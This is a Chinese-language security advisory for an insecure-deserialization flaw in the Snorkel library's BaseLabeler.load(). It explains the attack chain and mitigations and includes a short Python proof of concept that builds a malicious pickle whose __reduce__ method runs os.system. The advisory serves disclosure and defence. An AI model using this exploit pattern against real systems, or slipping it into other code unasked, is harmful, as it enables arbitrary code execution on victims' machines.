CVE-2026-31223 CVSS 8.8 高危

CVE-2026-31223 Snorkel库不安全反序列化漏洞

披露日期: 2026-05-12

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-31223

漏洞类型

不安全的反序列化

CVSS评分

8.8 高危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

Snorkel Library

漏洞概述

Snorkel库在v0.10.0及之前的版本中存在一个严重的不安全反序列化漏洞（CWE-502）。该漏洞位于BaseLabeler类的BaseLabeler.load()方法中。该方法直接使用不安全的pickle.load()函数从用户提供的文件路径加载序列化标记模型，且未进行任何验证或安全控制。由于Python的pickle模块在反序列化不受信任的数据时本身存在风险，可能在此过程中执行任意代码。攻击者可以通过提供恶意构造的pickle文件来利用此漏洞，当受害者通过易受攻击的方法加载该文件时，将导致在受害者系统上执行任意代码。

技术细节

该漏洞的根源在于Python的pickle模块机制。Pickle在反序列化过程中，如果遇到定义了`__reduce__`方法的对象，会根据该方法返回的元组来执行命令或构造对象。在Snorkel库的BaseLabeler.load()方法中，代码直接调用了`pickle.load(f)`，其中`f`是攻击者可控的文件路径。由于未对数据来源进行校验，攻击者可以构造一个包含恶意Payload的序列化文件。例如，利用`__reduce__`方法调用`os.system`执行系统命令。当用户调用`BaseLabeler.load()`加载该恶意文件时，Python解释器会解析pickle流并执行其中的恶意代码，从而实现远程代码执行（RCE），完全控制受害主机。这种攻击方式不需要认证，但需要一定的用户交互（如诱导用户加载特定文件）。

攻击链分析

STEP 1

步骤1

攻击者构造包含恶意Python代码的特制pickle文件，利用`__reduce__`方法定义执行逻辑。

STEP 2

步骤2

攻击者诱导受害者使用受影响的Snorkel库（v0.10.0及以下版本）中的`BaseLabeler.load()`方法加载该恶意文件。

STEP 3

步骤3

受害者的应用程序执行`pickle.load()`，反序列化过程触发恶意代码执行。

STEP 4

步骤4

攻击者获得受害者系统的控制权限，可执行任意系统命令。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import pickle
import os

# Malicious class to execute arbitrary code
class MaliciousPayload:
    def __reduce__(self):
        # Command to execute (e.g., create a file or pop calc)
        return (os.system, ('touch /tmp/pwned',))

# Generate the malicious pickle file
with open('exploit.pkl', 'wb') as f:
    pickle.dump(MaliciousPayload(), f)

print('Malicious pickle file generated: exploit.pkl')
print('Victim code simulation:')
print('from snorkel.labeling import BaseLabeler')
print("BaseLabeler.load('exploit.pkl')  # This triggers the exploit")

影响范围

Snorkel <= 0.10.0

防御指南

临时缓解措施

建议用户立即停止在不受信任的环境中加载未经验证的pickle文件。在升级修复前，应严格限制对BaseLabeler.load()方法的访问，仅允许加载来自可信来源的模型文件，并在沙箱环境中运行相关代码以限制潜在损害。

参考链接

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